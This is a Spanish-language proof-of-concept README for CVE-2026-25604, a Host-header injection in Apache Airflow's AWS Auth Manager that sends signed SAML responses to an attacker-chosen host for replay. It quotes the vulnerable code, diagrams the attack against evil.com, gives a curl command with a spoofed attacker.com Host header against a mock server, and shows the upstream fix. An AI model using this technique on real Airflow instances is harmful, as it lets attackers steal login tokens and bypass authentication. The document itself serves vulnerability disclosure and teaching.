
Un PoC para demostrar la CVE-2026-25604
Inyección de cabecera Host que conduce a la omisión de autenticación SAML en AWS Auth Manager de Apache Airflow
Un atacante puede inyectar una cabecera Host maliciosa en el flujo de inicio de sesión SAML, haciendo que la URL del Servicio de Consumo de Aserciones (ACS) apunte a un servidor controlado por el atacante. Esto permite al atacante capturar respuestas SAML válidas y reproducirlas para obtener acceso no autorizado a la instancia de Airflow víctima — o reutilizar tokens en diferentes instancias de Airflow con distintos controles de acceso.
| Paquete | Afectada | Corregida |
|---|---|---|
apache-airflow-providers-amazon | 8.0.0 – 9.21.x | 9.22.0 |
CVE-2026-25604: Error de validación de origen en AWS Auth Manager (CWE-346)
En AWS Auth Manager, el origen de la autenticación SAML se utilizaba tal y como lo proporcionaba el cliente y no se verificaba contra la URL real de la instancia. Esto permitía acceder a distintas instancias con potencialmente diferentes controles de acceso reutilizando la respuesta SAML de otras instancias.
— NVD
| Fuente | Enlace |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| PR de corrección | https://github.com/apache/airflow/pull/61368 |
El AWS Auth Manager de Apache Airflow utiliza SAML 2.0 a través de AWS IAM Identity Center para la autenticación. Al construir la solicitud de autenticación SAML, el método _prepare_flask_request() lee la cabecera Host directamente de la solicitud HTTP entrante para generar la URL de devolución de llamada del ACS:
# Vulnerable code in aws_auth_manager.py
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- Attacker-controlled
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # Used to build ACS URL
"server_port": port,
...
}
El http_host y el server_port resultantes se utilizan para construir la URL AssertionConsumerService del SAML. Dado que el proveedor de identidad (IdP) confía en esta URL, redirige al usuario autenticado — junto con la respuesta SAML firmada — a donde apunte la cabecera Host.
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
Escenario A — Robo de token mediante phishing: Un atacante envía un enlace de inicio de sesión manipulado (con una cabecera Host falsificada a través de un proxy inverso) a un usuario legítimo. Después de que el usuario se autentique con IAM Identity Center, la respuesta SAML se redirige al servidor del atacante. El atacante la reproduce contra la instancia real de Airflow.
Escenario B — Reutilización de tokens entre instancias: En entornos Airflow multitenant o con múltiples instancias, una respuesta SAML válida de la Instancia A puede reproducirse en la Instancia B. Dado que el origen nunca se valida contra la URL real de la instancia, se omiten los distintos controles de acceso de la Instancia B.
CVE-2026-25604-PoC/
├── README.md # This file
└── mock_airflow.py # Mock vulnerable Airflow server
pip install flask python3-saml
Configure una aplicación SAML 2.0 en AWS IAM Identity Center siguiendo la documentación de Airflow AWS Auth Manager:
http://<airflow-host>:<port>/login_callbackaws-auth-manager-saml-clientpython mock_airflow.py <SAML_METADATA_URL> [PORT]
Por ejemplo:
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
En una terminal separada, inicie un inicio de sesión SAML con una cabecera Host manipulada:
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
El servidor responde con una 302 Redirect a la página de inicio de sesión de AWS IAM Identity Center. Inspeccione la AuthnRequest SAML: la URL AssertionConsumerService apuntará a attacker.com:9090/login_callback en lugar del servidor legítimo.
En la consola del servidor Airflow simulado:
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
Ahora la AuthnRequest SAML indica al IdP que entregue la respuesta SAML autenticada a attacker.com:9090, proporcionando al atacante un token válido para reproducir.
airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py — el método _prepare_flask_request():
host = request.headers.get("Host", request.host)
Esta línea confía en la cabecera Host proporcionada por el cliente sin validarla contra la URL base de Airflow configurada (AIRFLOW__API__BASE_URL).
La corrección (PR #61368, fusionado el 3 de febrero de 2026) reemplaza el host derivado de la solicitud por el valor de la configuración de Airflow:
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")
Esto garantiza que la URL del ACS siempre coincida con la URL real de la instancia configurada por el administrador, independientemente de la cabecera Host que envíe el cliente.
Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Úsela de forma responsable y solo contra sistemas que posea o para los que tenga permiso explícito de prueba.
| Commit de corrección | 1a86aec |